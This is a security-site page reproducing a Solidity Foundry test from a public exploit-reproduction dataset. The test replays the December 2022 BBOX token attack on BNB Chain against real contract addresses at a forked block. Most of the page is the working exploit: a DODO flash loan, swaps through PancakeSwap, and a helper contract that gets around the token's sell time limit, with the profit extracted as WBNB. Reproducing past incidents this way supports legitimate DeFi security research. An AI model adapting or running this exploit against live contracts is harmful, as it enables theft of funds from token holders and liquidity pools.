Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/BBOX_exp.sol

Public reproduction file for dataset entry - BBOX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/BBOX_exp.sol69 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1599599614490877952
9// @TX
10// https://bscscan.com/tx/0xac57c78881a7c00dfbac0563e21b5ae3a8e3f9d1b07198a27313722a166cc0a3
12contract ContractTest is Test {
13 IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);
14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
16 uint256 flashLoanAmount;
17 address contractAddress;
18 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
20 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
22 function setUp() public {
23 cheats.createSelectFork("bsc", 23_106_506);
24 }
26 function testExploit() public {
27 WBNB.approve(address(Router), type(uint256).max);
28 BBOX.approve(address(Router), type(uint256).max);
29 TransferBBOXHelp transferHelp = new TransferBBOXHelp(); // sell time limit
30 contractAddress = address(transferHelp);
31 flashLoanAmount = WBNB.balanceOf(dodo);
32 DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));
34 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
35 }
37 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
38 WBNBToBBOX();
39 contractAddress.call(abi.encodeWithSignature("transferBBOX()"));
40 BBOXToWBNB();
41 WBNB.transfer(dodo, flashLoanAmount);
42 }
44 function WBNBToBBOX() internal {
45 address[] memory path = new address[](2);
46 path[0] = address(WBNB);
47 path[1] = address(BBOX);
48 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
49 1300 * 1e18, 0, path, contractAddress, block.timestamp
50 );
51 }
53 function BBOXToWBNB() internal {
54 address[] memory path = new address[](2);
55 path[0] = address(BBOX);
56 path[1] = address(WBNB);
57 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
58 BBOX.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp
59 );
60 }
63contract TransferBBOXHelp {
64 IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);
66 function transferBBOX() external {
67 BBOX.transfer(msg.sender, BBOX.balanceOf(address(this)));
68 }

Analysis

Dataset entry

Public Foundry test for “- BBOX” (2022-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
BBOX
Path
src/test/2022-12/BBOX_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b4500d83c22504e1ce97eefea52b1f1fd1e9d1dd
Language
Solidity
Size
70 lines
Date
2022-12-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/BBOX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b4500d83c22504e1ce97eefea52b1f1fd1e9d1dd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.